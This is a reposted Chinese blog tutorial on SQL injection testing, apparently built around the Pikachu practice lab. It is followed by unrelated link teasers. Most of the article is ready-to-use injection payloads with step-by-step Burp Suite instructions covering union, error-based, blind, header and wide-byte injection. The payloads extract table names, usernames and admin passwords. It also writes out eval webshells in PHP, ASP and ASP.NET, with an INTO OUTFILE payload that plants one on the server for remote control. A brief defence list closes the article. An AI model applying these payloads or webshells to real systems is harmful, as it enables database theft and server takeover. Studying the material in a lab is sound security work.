Web安全 SQL注入漏洞测试.(可以 防止恶意用户利用漏洞)

news2024/11/15 16:51:45

Web安全 SQL注入漏洞测试

SQL注入就是 有些恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而直接被SQL语句直接被服务端执行,导致数据库的原有信息泄露,篡改,甚至被删除等风险。


目录:

SQL注入测试的思想:

常见的SQL注入点类型:

常见的测试语句:

SQL 注入漏洞测试:

数字型注入(POST传参):

字符型注入(GET传参):

搜索型注入:

XX型注入:

基于 union 联合查询的信息获取:

基于 函数 报错的信息获取:

基于 insert / update 注入(账号 || 密码):

delete 注入(留言板):

Http Header注入(http 头):

基于 boolean 盲注(真 / 假):

基于 Time 盲注(时间):

利用SQL注入进行远程控制服务器:

宽字节注入:

SQL注入的防御:


免责声明:

严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。


SQL注入测试的思想:

主要是怎样可以闭合,数据库前面的语句。然后再去欺骗后台执行我们需要的查询语句.


常见的SQL注入点类型:

数字型:user_id=$id

字符型:user_id='$id'

搜索型:text LIKE '%{$_GET['SEARCH']}%'"

常见的测试语句:

' and 1=1 #    //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
' and 1=2 #    //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
" and 1=1 #    //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
" and 1=2 #    //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
' or 1=1 #     //返回所以信息.
" or 1=1 #     //返回所以信息.
'              //查看有没有报错.
"              //查看有没有报错.
以上测试说明:可能存在注入点.

SQL 注入漏洞测试:

数字型注入(POST传参):

$id=$_POST['id']            //模拟后台传入的参数思想
select  字段1,字段2  from  表名  where id =$id
(注意:有时候是 ” 双引号,则单引号换为双引号)

第一步:进入可能存在SQL注入的页面,点击输入 1 或 2....看看有没有返回页面信息等.


第二步:打开 Burp Suite 工具进行抓包,然后发送给 " 重发器 " 


第三步:在传参的后面填写  or 1=1,发送查看有没有返回这个表的所以信息.


字符型注入(GET传参):

$uname=$_GET['username']           //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username='$uname';

第一步:进入可能存在SQL注入的页面,输入一个正常返回页面的参数一个错误返回页面的参数.(比如:正常返回页面的参数:kobe   , 错误返回页面的参数:1)


第二步:在页面后面填写一个字符然后跟Mysql语句 (先把前面的语句闭合),(再使用 # 注释掉后面的)aaa' or 1=1#'

语句解析:
(1)前面的 ' 单引号是闭合 Mysql数据库 的单引号.
(2)在拼写 Mysql数据库 语句时后面也要有一个 ' 单引号.
(3)想方法把后面的 ' 单引号给注释掉,在 Mysql数据库 中是使用 # 或 -- 注释. 
(注释 # 或 --后面的语句.)
(注意:有时候是 ” 双引号,则单引号换为双引号)
$uname=$_GET['username']            //模拟数据库后面的运行是这样的
select 字段1,字段2 from 表名 where username='kobe' or 1=1#';


搜索型注入:

select * from 表名 where 字符(username) like '%k%';
语句解析:
(1)like 是对表进行匹配性查询,匹配 % 中间含有的值,在 字符(username) 中所以含有 % 中间
的值(k)都会返回出来.

第一步:进入可能存在SQL注入的页面,输入这个正常的查询.


第二步:查询框中输入(先把前面的语句闭合),(再使用 # 注释掉后面的):xxx%' or 1=1 # 

select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
//模拟数据库后面的运行是这样的
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xxx%' )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)


XX型注入:

$uname=$_GET['username']           //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username=('$uname');
select 字段1,字段2 from 表名 where username=('xx') or 1=1 #');
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xx') )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)

第一步:进入可能存在SQL注入的页面,先把前面的语句闭合,输入:xx') or 1=1 #


基于 union 联合查询的信息获取:

union 联合查询:可以通过联合查询来查询指定的数据.
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名 
(联合查询的字段 数 需要和主查询一致!)
思路:对查询的结果使用 order by 按照指定的列进行排序,如果指定的列不存在,数据库会报错。
通过报错判断查询结果的列数,从而确定主查询的字段数。

order by x        //对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z
Select version();        //取的数据库版本
Select database();       //取得当前的数据库
Select user();           //取得当前登录的用户

第一步:进入可能存在SQL注入的页面,先把前面的语句闭合,再使用 order by 测试字段数有多少.(如果指定的列不存在,数据库会报错,通过报错判断查询结果的列数,从而确定主查询的字段数.)(再使用 # 注释掉后面的)

aa' order by 3 #        //报错的
aa' order by 2 #        //没有报错的


第二步:已经字段有几段,则把前面的语句闭合,再使用 union select 字段1,字段2... from 表名

aa' union select database(),user() #
database()        //取得当前的数据库
user()            //取得当前登录的用户


基于 函数 报错的信息获取:

技巧思路:
在 MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的息.
select/insert/update/delete都可以使用报错来获取信息.
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
基于报错的信息获取---三个常用的用来报错的函数:
updatexml()         //函数是MYSQL对 XML文档 数据进行 查询和修改 的XPATH函数.
extractvalue()      //函数也是MYSQL对 XML文档 数据进行 查询 的XPATH函数。
floor()             // MYSQL 中用来 取整 的函数.
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值.
语法:UPDATEXML (xml_document, XPathstring, new_value)
第一个参数:xml_document,表中的字段名
第二个参数:XPathstring (Xpath格式的字符串),定位哪个位置
第三个参数:new_value,String格式,替换查找到的符合条件的
限制:Xpath定位必须是有效的,否则则会发生错误.

第一步:进入可能存在SQL注入的页面,随便输入一个数据,查看有没有报错的信息返回.(有报错才符合我们的条件.)


第二步:使用基于报错: updatexml()函数(主要是替换第二个参数,把他替换为我们要查询数据使用的函数.)

kobe' and updatexml(1,version(),0) #

对传入的数据进行处理:
kobe' and updatexml(1,concat(0x7e,version()),0) #     //取的数据库版本
kobe' and updatexml(1,concat(0x7e,database()),0) #    //取得当前的数据库
kobe' and updatexml(1,concat(0x7e,user()),0) #        //取得当前登录的用户

0x7e 是 ~
concat()函数:传入的两个参数组合起来,然后再打印出来.

使用limit一次一次进行获取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #   

// table_schema='数据库名'
// limit 0,1    只改 0 的那个数字( 0 代表第一个数据库名的名称, 1 代表第二个数据库名的名称,....)

获取到表名后,再获取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #

// table_name='表名'
// limit 0,1    只改 0 的那个数字( 0 代表第一个表名的名称, 1 代表第二个表名的名称,....)

获取到列名后,再获取数据:
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
//可以获取 用户名. 

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
//可以获取 用户的密码.


基于 insert / update 注入(账号 || 密码):

模拟后台代码执行:(正常执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx',11111,2,3,4,5)

模拟后台代码执行:(注入时的执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,version()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,user()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,database()),0) or'',11111,2,3,4,5)

第一步:进入可能存在SQL注入的页面,随便输入一个数据,查看有没有报错.

第二步:输入命令进行测试.

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的数据库版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得当前登录的用户

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得当前的数据库  


delete 注入(留言板):

后台执行的代码:
delete from message where id={$_GET['id']}

第一步:进入可能存在SQL注入的页面,随便输入一个数据.


第二步:打开 Burp Suite 对刚刚的数据进行拦截抓包,然后发送到“重发器”,找到我们输入的数据进行修改为.

1 or updatexml(1,concat(0x7e,database()),0)      //取的数据库版本

1 or updatexml(1,concat(0x7e,user()),0)         //取得当前登录的用户

1 or updatexml(1,concat(0x7e,database()),0)     //取得当前的数据库

第三步:对我们插入的数据进行转换为 URL 编码.(编码:鼠标右键点击--->转换选择-->URL-->特殊字符的URL编码)


Http Header注入(http 头):

原理及概括:
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

第一步:进入可能存在SQL注入的页面,进行登录.


第二步:打开 Burp Suite 对刚刚浏览的数据进行发送到“重发器”中查看.(使用 User-Agent:  做测试,把他后面的删除,输入一个:' (单引号)查看有没有返回报错)


第三步:输入我们构造的语句.(自己需要的信息.)

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的数据库版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得当前登录的用户

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得当前的数据库 


第四步:打开 Burp Suite 对刚刚浏览的数据进行发送到“重发器”中查看.(使用 Cookie:   做测试,在用户名后面添加一个:' (单引号)查看有没有返回报错.)


第五步:输入我们构造的语句.(自己需要的信息.)

admin' and updatexml(1,concat(0x7e,version()),0) #     //取的数据库版本

admin' and updatexml(1,concat(0x7e,user()),0) #        //取得当前登录的用户

admin' and updatexml(1,concat(0x7e,database()),0) #    //取得当前的数据库 


基于 boolean 盲注(真 / 假):

什么是盲注以及常见的盲注类型:
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based boolean和based time两种类型

基于boolean的盲注主要表现症状:
(1)没有报错信息
(2)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
(3)在正确的输入下,输入and 1=1 / and 1=2发现可以判断.

第一步:进入可能存在SQL注入的页面,输入我们构造的语句.(有没有返回正常和错误.)如果正常和错误都有,则存在注入.

kobe' and 1=1 #        //正常返回页面(真)
kobe' and 1=2 #        //错误返回页面(假)


第二步:我们已经知道,这里存在注入点了.(所以进行测试有没有报一些我们想要的数据.)(如果手动注入取信息是比较麻烦的,建议使用工具)

kobe' and ascii(substr(database(),1,1))>113 #

ascii 是转换为 ASCLL 编码
substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
>113 是转换为 ASCLL 编码大于113,则正常返回页面,如果小于 113 ,则错误返回页面.


基于 Time 盲注(时间):

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!

但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!

常用的Teat Payload:
kobe' and sleep(5)#

看看输入:kobe 和输入kobe ' and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞

第一步:进入可能存在SQL注入的页面,输入我们构造的语句.(按F12 --> 查看网络.)

kobe' and sleep(10) #

sleep 是暂停时间. 10 是秒


第二步:我们已经知道,这里存在注入点了.(所以进行测试有没有报一些我们想要的数据.)(按F12 --> 查看网络.)

kobe' and if(substr(database(),1,1)='p',sleep(10),null) #

substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
if 判断数据库名称第一个字符是不是 p ,如果是时间延长十秒,如果不是不延长


利用SQL注入进行远程控制服务器:

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大.
PHP: <?php @eval($_POST['bgxg']);?>
ASP: <%eval request("bgxg")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.ltem["bgxg"],"unsafe");%>
通过SQL漏洞·写入恶意代码:
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv

第一步:进入可能存在SQL注入的页面,输入我们构造的语句.

kobe' union select "<?php @eval($_GET['bgxg'])?>,2 into outfile "写入到服务器的目录/1.php" #

//outfile 是将前面的字段(一句话木马)结果输入到后面的目录中.


第二步:浏览一下这个木马  ?bgxg=phpinfo();     如果可以返回则成功写,再使用工具进行连接.


宽字节注入:

宽字节注入原理:
宽字节注入使用了转义的函数,对输入'进行了转义\'
但是可以利用反斜杠编码为%5c,然后再用%df构成(連)字绕过对 ' 的转义.
(设置编码时设置为了gbk编码)

第一步:进入可能存在SQL注入的页面,输入我们构造的语句.

kobe%df’ or 1=1#


第二步:打开 Burp Suite 对刚刚浏览的数据进行发送到“ 重发器 ”中查看.(重新输入刚刚的数据.)


SQL注入的防御:

(1)应尽可能用服务器的数据库权限降至最低.

(2)尽可能对进入数据库的特殊字符进行转义处理,或编码转换.

(3)尽可能在检测的时候使用专门的 SQL 注入检测工具进行检测.

(4)尽可能避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等等.

(5)尽可能在查询语句时,不要直接将用户输入变量直接拼接 SQL 语句中.(可以使用数据库提供的参数化查询接口)

      

      

学习链接:sqli基本概念和原理讲解_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/440195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AutoSAR软件组件开发的两类工作流程(Matlab/Simulink)

目录 前面 自顶向下 导入arxml文件 生成模型框架 搭建算法模型 生成代码 自下向上 前面 如何在Matlab进行AutoSAR软件组件SWC的开发&#xff1f;也就是下图红框标识出来的部分。 常规的有两种方式自顶向下与自下而上&#xff1a; 从上往下&#xff1a;从软件组件描述文…

改bug神器ChatGPT AI测试将取代人工吗?

最近ChatGPT大火&#xff0c;各大论坛中都会出现它的关键词。 机器和人对话本不是什么新鲜事&#xff0c;而ChatGPT上线仅5天&#xff0c;用户数量就超百万&#xff0c;之所以能在短时间吸引到这么多用户尝鲜&#xff0c;是因为它比“人工智障”的AI前辈们聪明多了~ 玩了一会…

Vue 3 组件通信

本文采用<script setup />的写法&#xff0c;比options API更自由。那么我们就来说说以下七种组件通信方式&#xff1a; props emit v-model refs provide/inject eventBus vuex/pinia 举个例子 本文将使用下面的演示&#xff0c;如下图所示&#xff1a; 上图中…

继承下的类型转换

一、私有/保护继承下的向上类型转换 示例&#xff1a; 图中蓝色、黄色代码均不允许使用&#xff0c;原因是在私有继承下&#xff0c;派生类和基类的public接口完全不搭界&#xff08;所实现的功能没有重叠&#xff09;&#xff0c;因此不允许强制转换&#xff0c;也无任何意义…

04-waf绕过权限控制

WAF绕过-权限控制之代码混淆及行为造轮子 思维导图 后门工具介绍: 菜刀&#xff0c;蚁剑&#xff0c;冰蝎优缺点 菜刀&#xff1a;未更新状态&#xff0c;无插件&#xff0c;单向加密传输 蚁剑&#xff1a;更新状态&#xff0c;有插件&#xff0c;拓展性强&#xff0c;单向加…

远程虚拟桌面解决方案 OpenText™ Exceed™ TurboX(ETX)的优势有哪些?

远程虚拟桌面解决方案 OpenText™ Exceed™ TurboX&#xff08;ETX&#xff09;的优势有哪些&#xff1f; 为 Windows、Linux 和 UNIX 实施精益、经济高效的虚拟化&#xff1b;提供完整的远程 Windows 可用性&#xff1b;以类似本地的性能远程工作&#xff1b;安全地保护系统和…

【Redis7】 Redis7 哨兵(重点:哨兵运行流程和选举原理)

【大家好&#xff0c;我是爱干饭的猿&#xff0c;本文重点介绍Redis7 哨兵&#xff0c;重点&#xff1a;哨兵运行流程和选举原理。 后续会继续分享Redis7和其他重要知识点总结&#xff0c;如果喜欢这篇文章&#xff0c;点个赞&#x1f44d;&#xff0c;关注一下吧】 上一篇文…

第一章 webpack与构建发展简史

官方loader和插件 Loaders | webpack Plugins | webpack 为什么需要构建工具&#xff1f; 初识webpack webpack默认配置文件&#xff1a;webpack.config.js 可以通过webpack --config <config_file_name>指定配置文件 rules是个数组&#xff0c;一个打包配置可以有多…

基于凸集上投影(POCS)的聚类算法

POCS&#xff1a;Projections onto Convex Sets。在数学中&#xff0c;凸集是指其中任意两点间的线段均在该集合内的集合。而投影则是将某个点映射到另一个空间中的某个子空间上的操作。给定一个凸集合和一个点&#xff0c;可以通过找到该点在该凸集合上的投影来进行操作。该投…

Vue3图片预览(Image)

本图片预览组件主要包括以下功能&#xff1a; 展示图片时&#xff0c;可设置鼠标悬浮时的预览文本&#xff1b;图像无法加载时要显示的描述&#xff1b;自定义图像高度和宽度&#xff1b;设置图像如何适应容器高度和宽度&#xff08; fill(填充) | contain(等比缩放包含) | cov…

Node 06-包管理器

包管理工具 概念介绍 包是什么 『包』英文单词是 package &#xff0c;代表了一组特定功能的源码集合 包管理工具 管理『包』的应用软件&#xff0c;可以对「包」进行 下载安装 &#xff0c; 更新 &#xff0c; 删除&#xff0c; 上传等操作 借助包管理工具&#xff0c;可以…

ASEMI代理ADAU1701JSTZ-RL原装ADI车规级ADAU1701JSTZ-RL

编辑&#xff1a;ll ASEMI代理ADAU1701JSTZ-RL原装ADI车规级ADAU1701JSTZ-RL 型号&#xff1a;ADAU1701JSTZ-RL 品牌&#xff1a;ADI /亚德诺 封装&#xff1a;LQFP-48 批号&#xff1a;2023 安装类型&#xff1a;表面贴装型 引脚数量&#xff1a;48 类型&#xff1a;车…

向凯文·凯利提问:未来 5000 天我们将走向何处?

ChatGPT 的问世不禁让人遐想&#xff0c;接下来的 5000 天&#xff0c;将会发生什么事&#xff1f; 硅谷精神之父、世界互联网教父、《失控》《必然》的作者凯文凯利&#xff08;Kevin Kelly&#xff0c;以下简称 K.K.&#xff09;是这样预测的&#xff1a; 未来将会是一切都与…

WIFI-OmniPeek抓包

一、简介 有时候&#xff0c;我们需要抓取空口数据包来分析数据&#xff0c;此时就需要了解抓包软件如何使用。此时需要准备如下东西&#xff1a; SNIFFER&#xff1a;AC-12000 软件&#xff1a;OmniPeek 二&#xff1a;抓包 打开OmniPeek&#xff0c;新建捕获。 确认设备是否…

android studio ImageView和ImageButton和Button

1.ImageView 1.1代码显示 ImageView img findViewById(R.id.img); img.setImageResource(R.drawable.apple); 1.2XML <ImageViewandroid:layout_width"match_parent"android:layout_height"match_parent"android:id"id/img"android:src&qu…

如何用python写 翻译腔?时时刻刻优雅在线~

人生苦短&#xff0c;我用python 本文仅供参考 没有代码 看一乐呵就行 在家看完中配版国外经典电影之后&#xff0c;我的语气就变成了这样&#xff1a; " 我的老伙计&#xff0c;说真的&#xff0c;真是活见鬼。天气这么热&#xff0c;我们为什么不坐下喝杯咖啡呢&…

util-linix 实用程序包中包含了许多系统管理员常用的其它命令

util-linix 实用程序包中包含了许多系统管理员常用的其它命令。这些实用程序是由 Linux 内核组织发布的&#xff0c;这 107 条命令中几乎每一个都来自原本是三个单独的集合 —— fileutils、shellutils 和 textutils&#xff0c;2003 年它们被合并成一个包&#xff1a;util-lin…

家用洗地机有什么优缺点?平价洗地机推荐

随着社会经济的发展和人们生活水平的提高&#xff0c;对于清洁卫生的要求也越来越高。洗地机作为一种集高效、节能、环保、卫生等多重优点于一身的清洁设备&#xff0c;可以有效提高清洁效率和清洁质量&#xff0c;并且可以减少对环境的污染。不仅如此&#xff0c;洗地机的还有…

Linux线程:互斥锁、条件变量和信号量

本节重点&#xff1a; 1.学会线程同步。 2. 学会使用互斥量&#xff0c;条件变量&#xff0c;posix信号量&#xff0c;以及读写锁。 3. 理解基于读写锁的读者写者问题。 Linux线程互斥 相关概念&#xff1a; 临界资源&#xff1a;多线程执行流共享的资源就叫做临界资源 临界…

小红书达人种草怎么收费?

随着小红书平台的快速发展&#xff0c;用户数量在不断的上升&#xff0c;市场上也涌现出了很多的小红书营销公司&#xff0c;小红书营销主要是以小红书代写代发、品牌植入广告等方式来做品牌种草品宣。 小红书达人种草怎么收费这个问题&#xff0c;相信很多商家朋友都非常关心…